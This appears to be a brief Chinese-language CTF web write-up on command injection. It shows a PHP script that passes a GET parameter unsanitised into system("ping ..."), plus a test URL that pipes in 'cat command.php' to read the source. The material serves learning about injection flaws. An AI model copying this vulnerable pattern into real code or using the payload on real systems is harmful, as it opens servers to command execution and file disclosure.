命令执行
找到题目中的KEY
KEY为八位随机字符数字,例如key:1234qwer。提交1234qwer 即可。
漏洞代码
<?php
system("ping -c 2 ".$_GET['ip']);
?>
测试方法
http://localhost/command.php?ip=127.0.0.1|cat command.php
【CTF WEB】命令执行
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。